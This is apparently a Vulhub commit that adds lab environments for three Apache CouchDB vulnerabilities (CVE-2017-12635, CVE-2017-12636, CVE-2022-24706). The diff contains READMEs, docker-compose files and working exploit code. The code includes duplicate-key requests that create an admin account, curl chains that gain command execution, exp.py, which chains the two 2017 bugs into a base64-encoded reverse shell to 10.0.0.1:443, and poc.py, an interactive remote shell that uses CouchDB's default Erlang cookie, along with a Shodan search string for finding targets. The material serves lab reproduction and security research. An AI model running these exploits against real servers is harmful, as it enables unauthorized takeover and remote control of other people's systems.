first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
BIN
couchdb/CVE-2017-12635/1.png
Normal file
After Width: | Height: | Size: 33 KiB |
BIN
couchdb/CVE-2017-12635/2.png
Normal file
After Width: | Height: | Size: 39 KiB |
BIN
couchdb/CVE-2017-12635/3.png
Normal file
After Width: | Height: | Size: 30 KiB |
78
couchdb/CVE-2017-12635/README.md
Normal file
@@ -0,0 +1,78 @@
|
||||
# Apache Couchdb Remote Privilege Escalation (CVE-2017-12635)
|
||||
|
||||
[中文版本(Chinese version)](README.zh-cn.md)
|
||||
|
||||
Apache CouchDB is an open-source document-oriented NoSQL database, implemented in Erlang. CouchDB uses multiple formats and protocols to store, transfer, and process its data. It uses JSON to store data, JavaScript as its query language using MapReduce, and HTTP for an API.
|
||||
|
||||
Due to differences in the Erlang-based JSON parser and JavaScript-based JSON parser, it is possible in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to submit `_users` documents with duplicate keys for `roles` used for access control within the database, including the special case `_admin` role, that denotes administrative users.
|
||||
|
||||
Reference link.
|
||||
|
||||
- https://justi.cz/security/2017/11/14/couchdb-rce-npm.html
|
||||
- https://www.exploit-db.com/exploits/44498
|
||||
- http://bobao.360.cn/learning/detail/4716.html
|
||||
|
||||
## Setup Environment
|
||||
|
||||
Compile and start environment.
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
After the environment is started, browse ``http://your-ip:5984/_utils/`` to see a web page, which means Couchdb has been started successfully. But you can do nothing without authentication.
|
||||
|
||||
## Exploit
|
||||
|
||||
This is a normal request to add a user.
|
||||
|
||||
```
|
||||
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
|
||||
Host: your-ip:5984
|
||||
Accept: */*
|
||||
Accept-Language: en
|
||||
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
|
||||
Connection: close
|
||||
Content-Type: application/json
|
||||
Content-Length: 90
|
||||
|
||||
{
|
||||
"type": "user",
|
||||
"name": "vulhub",
|
||||
"roles": ["_admin"],
|
||||
"password": "vulhub"
|
||||
}
|
||||
```
|
||||
|
||||
As you can see, a 403 error is returned: `{"error": "forbidden", "reason": "Only _admin may set roles"}`, which means only administrator can use the endpoint.
|
||||
|
||||

|
||||
|
||||
To bypass the restriction by sending a request containing duplicate **roles**.
|
||||
|
||||
```
|
||||
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
|
||||
Host: your-ip:5984
|
||||
Accept: */*
|
||||
Accept-Language: en
|
||||
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
|
||||
Connection: close
|
||||
Content-Type: application/json
|
||||
Content-Length: 108
|
||||
|
||||
{
|
||||
"type": "user",
|
||||
"name": "vulhub",
|
||||
"roles": ["_admin"],
|
||||
"roles": [],
|
||||
"password": "vulhub"
|
||||
}
|
||||
```
|
||||
|
||||
Successfully created a user `vulhub`, with the password `vulhub`.
|
||||
|
||||

|
||||
|
||||
Log in.
|
||||
|
||||

|
78
couchdb/CVE-2017-12635/README.zh-cn.md
Normal file
@@ -0,0 +1,78 @@
|
||||
# Couchdb 垂直权限绕过漏洞(CVE-2017-12635)
|
||||
|
||||
Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。
|
||||
|
||||
在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露,CVE-2017-12635是由于Erlang和JavaScript对JSON解析方式的不同,导致语句执行产生差异性导致的。这个漏洞可以让任意用户创建管理员,属于垂直权限绕过漏洞。
|
||||
|
||||
影响版本:小于 1.7.0 以及 小于 2.1.1
|
||||
|
||||
参考链接:
|
||||
|
||||
- http://bobao.360.cn/learning/detail/4716.html
|
||||
- https://justi.cz/security/2017/11/14/couchdb-rce-npm.html
|
||||
|
||||
## 测试环境
|
||||
|
||||
编译及启动环境:
|
||||
|
||||
```
|
||||
docker compose build
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
环境启动后,访问`http://your-ip:5984/_utils/`即可看到一个web页面,说明Couchdb已成功启动。但我们不知道密码,无法登陆。
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
首先,发送如下数据包:
|
||||
|
||||
```
|
||||
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
|
||||
Host: your-ip:5984
|
||||
Accept: */*
|
||||
Accept-Language: en
|
||||
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
|
||||
Connection: close
|
||||
Content-Type: application/json
|
||||
Content-Length: 90
|
||||
|
||||
{
|
||||
"type": "user",
|
||||
"name": "vulhub",
|
||||
"roles": ["_admin"],
|
||||
"password": "vulhub"
|
||||
}
|
||||
```
|
||||
|
||||
可见,返回403错误:`{"error":"forbidden","reason":"Only _admin may set roles"}`,只有管理员才能设置Role角色:
|
||||
|
||||

|
||||
|
||||
发送包含两个roles的数据包,即可绕过限制:
|
||||
|
||||
```
|
||||
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
|
||||
Host: your-ip:5984
|
||||
Accept: */*
|
||||
Accept-Language: en
|
||||
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
|
||||
Connection: close
|
||||
Content-Type: application/json
|
||||
Content-Length: 108
|
||||
|
||||
{
|
||||
"type": "user",
|
||||
"name": "vulhub",
|
||||
"roles": ["_admin"],
|
||||
"roles": [],
|
||||
"password": "vulhub"
|
||||
}
|
||||
```
|
||||
|
||||
成功创建管理员,账户密码均为`vulhub`:
|
||||
|
||||

|
||||
|
||||
再次访问`http://your-ip:5984/_utils/`,输入账户密码`vulhub`,可以成功登录:
|
||||
|
||||

|
19
couchdb/CVE-2017-12635/docker-compose.yml
Normal file
@@ -0,0 +1,19 @@
|
||||
version: '2'
|
||||
services:
|
||||
couchdb:
|
||||
image: vulhub/couchdb:2.1.0
|
||||
ports:
|
||||
- "5984:5984"
|
||||
environment:
|
||||
COUCHDB_USER: admin
|
||||
COUCHDB_PASSWORD: password
|
||||
initd:
|
||||
image: buildpack-deps:focal-curl
|
||||
command: "bash /init.sh"
|
||||
environment:
|
||||
COUCHDB_URL: couchdb:5984
|
||||
COUCHDB_AUTH: admin:password
|
||||
volumes:
|
||||
- ./init.sh:/init.sh
|
||||
depends_on:
|
||||
- couchdb
|
12
couchdb/CVE-2017-12635/init.sh
Normal file
@@ -0,0 +1,12 @@
|
||||
#!/bin/bash
|
||||
|
||||
COUCHDB_URL=${COUCHDB_URL:-"couchdb:5984"}
|
||||
COUCHDB_AUTH=${COUCHDB_AUTH:-"admin:password"}
|
||||
|
||||
while ! curl -m 5 "${COUCHDB_URL}"; do
|
||||
sleep 1
|
||||
done
|
||||
|
||||
curl -X PUT http://${COUCHDB_AUTH}@${COUCHDB_URL}/_users
|
||||
curl -X PUT http://${COUCHDB_AUTH}@${COUCHDB_URL}/_replicator
|
||||
curl -X PUT http://${COUCHDB_AUTH}@${COUCHDB_URL}/_global_changes
|
BIN
couchdb/CVE-2017-12636/1.png
Normal file
After Width: | Height: | Size: 22 KiB |
BIN
couchdb/CVE-2017-12636/2.png
Normal file
After Width: | Height: | Size: 26 KiB |
BIN
couchdb/CVE-2017-12636/3.png
Normal file
After Width: | Height: | Size: 30 KiB |
93
couchdb/CVE-2017-12636/README.md
Normal file
@@ -0,0 +1,93 @@
|
||||
# Couchdb Arbitrary Command Execution (CVE-2017-12636)
|
||||
|
||||
[中文版本(Chinese version)](README.zh-cn.md)
|
||||
|
||||
Apache CouchDB is an open-source document-oriented NoSQL database, implemented in Erlang. CouchDB uses multiple formats and protocols to store, transfer, and process its data. It uses JSON to store data, JavaScript as its query language using MapReduce, and HTTP for an API.
|
||||
|
||||
CouchDB administrative users can configure the database server via HTTP(S). Some of the configuration options include paths for operating system-level binaries that are subsequently launched by CouchDB. This allows an admin user in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to execute arbitrary shell commands as the CouchDB user, including downloading and executing scripts from the public internet.
|
||||
|
||||
Chain [CVE-2017-12635](../CVE-2017-12635) and CVE-2017-12636 to get a unauthenticated remote command execution.
|
||||
|
||||
Reference link.
|
||||
|
||||
- https://justi.cz/security/2017/11/14/couchdb-rce-npm.html
|
||||
- https://www.exploit-db.com/exploits/44498
|
||||
- http://bobao.360.cn/learning/detail/4716.html
|
||||
|
||||
## Vulnerable Environment
|
||||
|
||||
API interfaces of Couchdb 2.x and and 1.x are somewhat different, so this vulnerability is exploited in a different way. This environment is about version 1.6.0, if you want to test version 2.1.0, you can use the [CVE-2017-12635](https://github.com/vulhub/vulhub/tree/master/couchdb/CVE-2017-12635).
|
||||
|
||||
Start a Couchdb 1.6.0 server.
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
After the startup is complete, browse ``http://your-ip:5984/`` to see the welcome page of Couchdb.
|
||||
|
||||
## Exploit explanation
|
||||
|
||||
CVE-2017-12636 is a post-authentication RCE, so if you do not know the target administrator password, you can use [CVE-2017-12635](https://github.com/vulhub/vulhub/tree/master/couchdb/CVE-2017-12635) to add an administrator user first.
|
||||
|
||||
### Exploit under 1.x
|
||||
|
||||
Execute the following requests in sequence to trigger arbitrary command execution.
|
||||
|
||||
```
|
||||
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/_config/query_servers/cmd' -d '"id >/tmp/success"'
|
||||
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest'
|
||||
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest/vul' -d '{"_id": "770895a97726d5ca6d70a22173005c7b"}'
|
||||
curl -X POST 'http://vulhub:vulhub@your-ip:5984/vultest/_temp_view?limit=10' -d '{"language": "cmd", "map":""}' -H 'Content-Type: application/json'
|
||||
```
|
||||
|
||||
Here, `vulhub:vulhub` is the administrator account and password.
|
||||
|
||||
The first request is to add a **query_servers** with the name `cmd` and the value `"id >/tmp/success"`, which is the command we are going to execute later.
|
||||
|
||||
The second and third requests are to add a database and document, which can be queried only after it is added here.
|
||||
|
||||
The fourth request is to do a query in this Database, a **query_servers** named `cmd` that I added in the first step is used, and finally trigger the command execution.
|
||||
|
||||
### Exploit under 2.x
|
||||
|
||||
The two APIs I used above have been modified in 2.1.0 and need to be explained in detail here.
|
||||
|
||||
Couchdb 2.x introduces clustering, browser the `/_membership` to get the node list.
|
||||
|
||||
```
|
||||
curl http://vulhub:vulhub@your-ip:5984/_membership
|
||||
```
|
||||
|
||||

|
||||
|
||||
As you can see, we have only one node here, with the name `nonode@nohost`.
|
||||
|
||||
Then, modify the configuration of node `nonode@nohost` as follows.
|
||||
|
||||
```
|
||||
curl -X PUT http://vulhub:vulhub@your-ip:5984/_node/nonode@nohost/_config/query_servers/cmd -d '"id >/tmp/success"'
|
||||
```
|
||||
|
||||

|
||||
|
||||
Then, in the same way as the 1.6.0 exploit:
|
||||
|
||||
```
|
||||
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest'
|
||||
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest/vul' -d '{"_id": "770895a97726d5ca6d70a22173005c7b"}'
|
||||
```
|
||||
|
||||
Couchdb 2.x removed `_temp_view`, so we need to add a `_view` in order to trigger the command defined in `query_servers`:
|
||||
|
||||
```
|
||||
curl -X PUT http://vulhub:vulhub@your-ip:5984/vultest/_design/vul -d '{"_id":"_design/test", "views":{"woyun":{"map":""} }," language": "cmd"}' -H "Content-Type: application/json"
|
||||
```
|
||||
|
||||
Then commands in `query_servers` will be executed.
|
||||
|
||||
## POC script
|
||||
|
||||
I wrote a simple POC [exp.py](exp.py), modified the target and command inside the script to your test target, then modified the version to the corresponding Couchdb version (1 or 2), and successfully get the reverse shell:
|
||||
|
||||

|
90
couchdb/CVE-2017-12636/README.zh-cn.md
Normal file
@@ -0,0 +1,90 @@
|
||||
# Couchdb 任意命令执行漏洞(CVE-2017-12636)
|
||||
|
||||
Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。
|
||||
|
||||
在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露,CVE-2017-12636是一个任意命令执行漏洞,我们可以通过config api修改couchdb的配置`query_server`,这个配置项在设计、执行view的时候将被运行。
|
||||
|
||||
影响版本:小于 1.7.0 以及 小于 2.1.1
|
||||
|
||||
参考链接:
|
||||
|
||||
- http://bobao.360.cn/learning/detail/4716.html
|
||||
- https://justi.cz/security/2017/11/14/couchdb-rce-npm.html
|
||||
|
||||
## 测试环境
|
||||
|
||||
Couchdb 2.x和和1.x的API接口有一定区别,所以这个漏洞的利用方式也不同。本环境启动的是1.6.0版本,如果你想测试2.1.0版本,可以启动[CVE-2017-12635](https://github.com/vulhub/vulhub/tree/master/couchdb/CVE-2017-12635)附带的环境。
|
||||
|
||||
执行如下命令启动Couchdb 1.6.0环境:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
启动完成后,访问`http://your-ip:5984/`即可看到Couchdb的欢迎页面。
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
该漏洞是需要登录用户方可触发,如果不知道目标管理员密码,可以利用[CVE-2017-12635](https://github.com/vulhub/vulhub/tree/master/couchdb/CVE-2017-12635)先增加一个管理员用户。
|
||||
|
||||
### 1.6.0 下的说明
|
||||
|
||||
依次执行如下请求即可触发任意命令执行:
|
||||
|
||||
```
|
||||
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/_config/query_servers/cmd' -d '"id >/tmp/success"'
|
||||
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest'
|
||||
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
|
||||
curl -X POST 'http://vulhub:vulhub@your-ip:5984/vultest/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'
|
||||
```
|
||||
|
||||
其中,`vulhub:vulhub`为管理员账号密码。
|
||||
|
||||
第一个请求是添加一个名字为`cmd`的`query_servers`,其值为`"id >/tmp/success"`,这就是我们后面待执行的命令。
|
||||
|
||||
第二、三个请求是添加一个Database和Document,这里添加了后面才能查询。
|
||||
|
||||
第四个请求就是在这个Database里进行查询,因为我将language设置为`cmd`,这里就会用到我第一步里添加的名为`cmd`的`query_servers`,最后触发命令执行。
|
||||
|
||||
### 2.1.0 下的说明
|
||||
|
||||
2.1.0中修改了我上面用到的两个API,这里需要详细说明一下。
|
||||
|
||||
Couchdb 2.x 引入了集群,所以修改配置的API需要增加node name。这个其实也简单,我们带上账号密码访问`/_membership`即可:
|
||||
|
||||
```
|
||||
curl http://vulhub:vulhub@your-ip:5984/_membership
|
||||
```
|
||||
|
||||

|
||||
|
||||
可见,我们这里只有一个node,名字是`nonode@nohost`。
|
||||
|
||||
然后,我们修改`nonode@nohost`的配置:
|
||||
|
||||
```
|
||||
curl -X PUT http://vulhub:vulhub@your-ip:5984/_node/nonode@nohost/_config/query_servers/cmd -d '"id >/tmp/success"'
|
||||
```
|
||||
|
||||

|
||||
|
||||
然后,与1.6.0的利用方式相同,我们先增加一个Database和一个Document:
|
||||
|
||||
```
|
||||
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest'
|
||||
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
|
||||
```
|
||||
|
||||
Couchdb 2.x删除了`_temp_view`,所以我们为了触发`query_servers`中定义的命令,需要添加一个`_view`:
|
||||
|
||||
```
|
||||
curl -X PUT http://vulhub:vulhub@your-ip:5984/vultest/_design/vul -d '{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}' -H "Content-Type: application/json"
|
||||
```
|
||||
|
||||
增加`_view`的同时即触发了`query_servers`中的命令。
|
||||
|
||||
## 利用脚本
|
||||
|
||||
写了一个简单的脚本 [exp.py](exp.py),修改其中的target和command为你的测试机器,然后修改version为对应的Couchdb版本(1或2),成功反弹shell:
|
||||
|
||||

|
6
couchdb/CVE-2017-12636/docker-compose.yml
Normal file
@@ -0,0 +1,6 @@
|
||||
version: '2'
|
||||
services:
|
||||
couchdb:
|
||||
image: vulhub/couchdb:1.6.0
|
||||
ports:
|
||||
- "5984:5984"
|
41
couchdb/CVE-2017-12636/exp.py
Normal file
@@ -0,0 +1,41 @@
|
||||
#!/usr/bin/env python3
|
||||
import requests
|
||||
import json
|
||||
import base64
|
||||
from requests.auth import HTTPBasicAuth
|
||||
|
||||
target = 'http://your-ip:5984'
|
||||
command = rb"""sh -i >& /dev/tcp/10.0.0.1/443 0>&1"""
|
||||
version = 1
|
||||
|
||||
session = requests.session()
|
||||
session.headers = {
|
||||
'Content-Type': 'application/json'
|
||||
}
|
||||
# session.proxies = {
|
||||
# 'http': 'http://127.0.0.1:8085'
|
||||
# }
|
||||
session.put(target + '/_users/org.couchdb.user:wooyun', data='''{
|
||||
"type": "user",
|
||||
"name": "wooyun",
|
||||
"roles": ["_admin"],
|
||||
"roles": [],
|
||||
"password": "wooyun"
|
||||
}''')
|
||||
|
||||
session.auth = HTTPBasicAuth('wooyun', 'wooyun')
|
||||
|
||||
command = "bash -c '{echo,%s}|{base64,-d}|{bash,-i}'" % base64.b64encode(command).decode()
|
||||
if version == 1:
|
||||
session.put(target + ('/_config/query_servers/cmd'), data=json.dumps(command))
|
||||
else:
|
||||
host = session.get(target + '/_membership').json()['all_nodes'][0]
|
||||
session.put(target + '/_node/{}/_config/query_servers/cmd'.format(host), data=json.dumps(command))
|
||||
|
||||
session.put(target + '/wooyun')
|
||||
session.put(target + '/wooyun/test', data='{"_id": "wooyuntest"}')
|
||||
|
||||
if version == 1:
|
||||
session.post(target + '/wooyun/_temp_view?limit=10', data='{"language":"cmd","map":""}')
|
||||
else:
|
||||
session.put(target + '/wooyun/_design/test', data='{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}')
|
BIN
couchdb/CVE-2022-24706/1.png
Normal file
After Width: | Height: | Size: 64 KiB |
42
couchdb/CVE-2022-24706/README.md
Normal file
@@ -0,0 +1,42 @@
|
||||
# CouchDB Erlang distribution Remote Command Execution (CVE-2022-24706)
|
||||
|
||||
[中文版本(Chinese version)](README.zh-cn.md)
|
||||
|
||||
Apache CouchDB is an open-source document-oriented NoSQL database, implemented in Erlang.
|
||||
|
||||
Apache CouchDB is written in Erlang and so it has built-in support for distributed computing (clustering). The cluster nodes communicate using the Erlang/OTP Distribution Protocol, which provides for the possibility of executing OS command requests as the user running the software.
|
||||
|
||||
In order to connect and run OS commands, one needs to know the secret phrase or in Erlang terms the "cookie". The CouchDB installer in versions 3.2.1 and below, by default, sets the cookie to "monster".
|
||||
|
||||
References:
|
||||
|
||||
- <https://docs.couchdb.org/en/3.2.2-docs/cve/2022-24706.html>
|
||||
- <https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/>
|
||||
- <https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/multi/misc/erlang_cookie_rce.rb>
|
||||
- <https://github.com/sadshade/CVE-2022-24706-CouchDB-Exploit>
|
||||
|
||||
## Vulnerability Environment
|
||||
|
||||
Execute following command to start a Apache CouchDB 3.2.1:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
After service is started, 3 port will be listening on `target-ip`:
|
||||
|
||||
- 5984: Web interface for Apache CouchDB
|
||||
- 4369: Erlang port mapper daemon (epmd)
|
||||
- 9100: clustered operation and runtime introspection port (command is actually executed through this port)
|
||||
|
||||
In practice, Web interface and epmd service port is fixed, clustered operation port is random. We can accesses the EPMD service to obtain the clustered operation port number.
|
||||
|
||||
## Exploit
|
||||
|
||||
We can just use [this poc](poc.py) to exploit this vulnerability. The poc does 2 things, firstly obtain the clustered operation port from epmd service, then use default cookie to execute arbitrary commands in clusters.
|
||||
|
||||
```
|
||||
python poc.py target-ip 4369
|
||||
```
|
||||
|
||||

|
40
couchdb/CVE-2022-24706/README.zh-cn.md
Normal file
@@ -0,0 +1,40 @@
|
||||
# CouchDB Erlang 分布式协议代码执行 (CVE-2022-24706)
|
||||
|
||||
Apache CouchDB是一个Erlang开发的NoSQL数据库。
|
||||
|
||||
由于Erlang的特性,其支持分布式计算,分布式节点之间通过Erlang/OTP Distribution协议进行通信。攻击者如果知道通信时使用的Cookie,即可在握手包通过认证并执行任意命令。
|
||||
|
||||
在CouchDB 3.2.1及以前版本中,使用了默认Cookie,值为“monster”。
|
||||
|
||||
参考链接:
|
||||
|
||||
- <https://docs.couchdb.org/en/3.2.2-docs/cve/2022-24706.html>
|
||||
- <https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/>
|
||||
- <https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/multi/misc/erlang_cookie_rce.rb>
|
||||
- <https://github.com/sadshade/CVE-2022-24706-CouchDB-Exploit>
|
||||
|
||||
## 漏洞环境
|
||||
|
||||
执行如下命令启动一个Apache CouchDB 3.2.1服务:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
服务启动后,会监听三个端口:
|
||||
|
||||
- 5984: Apache CouchDB Web管理接口
|
||||
- 4369: Erlang端口映射服务(epmd)
|
||||
- 9100: 集群节点通信和运行时自省服务(代码执行实际发生在这个端口中)
|
||||
|
||||
其中,Web管理接口和epmd服务端口是固定的,而集群通信接口在Vulhub中是9100。实际环境下,这个端口通常是随机的,我们可以通过epmd服务来获取这个端口的数值。
|
||||
|
||||
## Exploit
|
||||
|
||||
我们可以使用[这个POC](poc.py)来利用本漏洞。这个POC会先通过目标的4369端口epmd服务获取集群通信的端口,也就是9100,然后再使用默认Cookie来控制节点执行任意命令。
|
||||
|
||||
```
|
||||
python poc.py target-ip 4369
|
||||
```
|
||||
|
||||

|
11
couchdb/CVE-2022-24706/docker-compose.yml
Normal file
@@ -0,0 +1,11 @@
|
||||
version: '2'
|
||||
services:
|
||||
couchdb:
|
||||
image: vulhub/couchdb:3.2.1
|
||||
ports:
|
||||
- "5984:5984"
|
||||
- "4369:4369"
|
||||
- "9100:9100"
|
||||
environment:
|
||||
COUCHDB_USER: vulhub
|
||||
COUCHDB_PASSWORD: vulhub
|
132
couchdb/CVE-2022-24706/poc.py
Normal file
@@ -0,0 +1,132 @@
|
||||
# Exploit Title: Remote Command Execution via Erlang Distribution Protocol
|
||||
# Date: 2022-01-21
|
||||
# Exploit Author: Konstantin Burov, @_sadshade
|
||||
# Software Link: https://www.erlang.org/doc/apps/erts/erl_dist_protocol.html
|
||||
# Version: N/A
|
||||
# Tested on: Kali 2021.2
|
||||
# Based on 1F98D's Erlang Cookie - Remote Code Execution
|
||||
# Shodan: port:4369 "name "
|
||||
# References:
|
||||
# https://www.exploit-db.com/exploits/49418
|
||||
# https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/
|
||||
# https://book.hacktricks.xyz/pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd#erlang-cookie-rce
|
||||
#
|
||||
#
|
||||
#!/usr/local/bin/python3
|
||||
|
||||
import socket
|
||||
from hashlib import md5
|
||||
import struct
|
||||
import sys
|
||||
import re
|
||||
import time
|
||||
|
||||
TARGET = sys.argv[1]
|
||||
EPMD_PORT = int(sys.argv[2]) # Default Erlang distributed port
|
||||
COOKIE = "monster" # Default Erlang cookie for CouchDB
|
||||
ERLNAG_PORT = 0
|
||||
EPM_NAME_CMD = b"\x00\x01\x6e" # Request for nodes list
|
||||
|
||||
# Some data:
|
||||
NAME_MSG = b"\x00\x15n\x00\x05\x00\x07\x49\x9cAAAAAA@AAAAAAA"
|
||||
CHALLENGE_REPLY = b"\x00\x15r\x01\x02\x03\x04"
|
||||
CTRL_DATA = b"\x83h\x04a\x06gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03"
|
||||
CTRL_DATA += b"\x00\x00\x00\x00\x00w\x00w\x03rex"
|
||||
|
||||
|
||||
def compile_cmd(CMD):
|
||||
MSG = b"\x83h\x02gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00"
|
||||
MSG += b"\x00\x00h\x05w\x04callw\x02osw\x03cmdl\x00\x00\x00\x01k"
|
||||
MSG += struct.pack(">H", len(CMD))
|
||||
MSG += bytes(CMD, 'ascii')
|
||||
MSG += b'jw\x04user'
|
||||
PAYLOAD = b'\x70' + CTRL_DATA + MSG
|
||||
PAYLOAD = struct.pack('!I', len(PAYLOAD)) + PAYLOAD
|
||||
return PAYLOAD
|
||||
|
||||
print("Remote Command Execution via Erlang Distribution Protocol.\n")
|
||||
|
||||
# Connect to EPMD:
|
||||
try:
|
||||
epm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
epm_socket.connect((TARGET, EPMD_PORT))
|
||||
except socket.error as msg:
|
||||
print("Couldnt connect to EPMD: %s\n terminating program" % msg)
|
||||
sys.exit(1)
|
||||
|
||||
epm_socket.send(EPM_NAME_CMD) #request Erlang nodes
|
||||
if epm_socket.recv(4) == b'\x00\x00\x11\x11': # OK
|
||||
data = epm_socket.recv(1024)
|
||||
data = data[0:len(data) - 1].decode('ascii')
|
||||
data = data.split("\n")
|
||||
if len(data) == 1:
|
||||
choise = 1
|
||||
print("Found " + data[0])
|
||||
else:
|
||||
print("\nMore than one node found, choose which one to use:")
|
||||
line_number = 0
|
||||
for line in data:
|
||||
line_number += 1
|
||||
print(" %d) %s" %(line_number, line))
|
||||
choise = int(input("\n> "))
|
||||
|
||||
ERLNAG_PORT = int(re.search("\d+$",data[choise - 1])[0])
|
||||
else:
|
||||
print("Node list request error, exiting")
|
||||
sys.exit(1)
|
||||
epm_socket.close()
|
||||
|
||||
# Connect to Erlang port:
|
||||
try:
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.connect((TARGET, ERLNAG_PORT))
|
||||
except socket.error as msg:
|
||||
print("Couldnt connect to Erlang server: %s\n terminating program" % msg)
|
||||
sys.exit(1)
|
||||
|
||||
s.send(NAME_MSG)
|
||||
s.recv(5)
|
||||
challenge = s.recv(1024) # Receive "challenge" message
|
||||
print(challenge)
|
||||
challenge = struct.unpack(">I", challenge[9:13])[0]
|
||||
|
||||
#print("Extracted challenge: {}".format(challenge))
|
||||
|
||||
# Add Challenge Digest
|
||||
CHALLENGE_REPLY += md5(bytes(COOKIE, "ascii")
|
||||
+ bytes(str(challenge), "ascii")).digest()
|
||||
s.send(CHALLENGE_REPLY)
|
||||
CHALLENGE_RESPONSE = s.recv(1024)
|
||||
|
||||
if len(CHALLENGE_RESPONSE) == 0:
|
||||
print("Authentication failed, exiting")
|
||||
sys.exit(1)
|
||||
|
||||
print("Authentication successful")
|
||||
print("Enter command:\n")
|
||||
|
||||
data_size = 0
|
||||
while True:
|
||||
if data_size <= 0:
|
||||
CMD = input("> ")
|
||||
if not CMD:
|
||||
continue
|
||||
elif CMD == "exit":
|
||||
sys.exit(0)
|
||||
s.send(compile_cmd(CMD))
|
||||
data_size = struct.unpack(">I", s.recv(4))[0] # Get data size
|
||||
s.recv(45) # Control message
|
||||
data_size -= 45 # Data size without control message
|
||||
time.sleep(0.1)
|
||||
elif data_size < 1024:
|
||||
data = s.recv(data_size)
|
||||
#print("S---data_size: %d, data_recv_size: %d" %(data_size,len(data)))
|
||||
time.sleep(0.1)
|
||||
print(data[3:].decode())
|
||||
data_size = 0
|
||||
else:
|
||||
data = s.recv(1024)
|
||||
#print("L---data_size: %d, data_recv_size: %d" %(data_size,len(data)))
|
||||
time.sleep(0.1)
|
||||
print(data[4:].decode())
|
||||
data_size -= 1024
|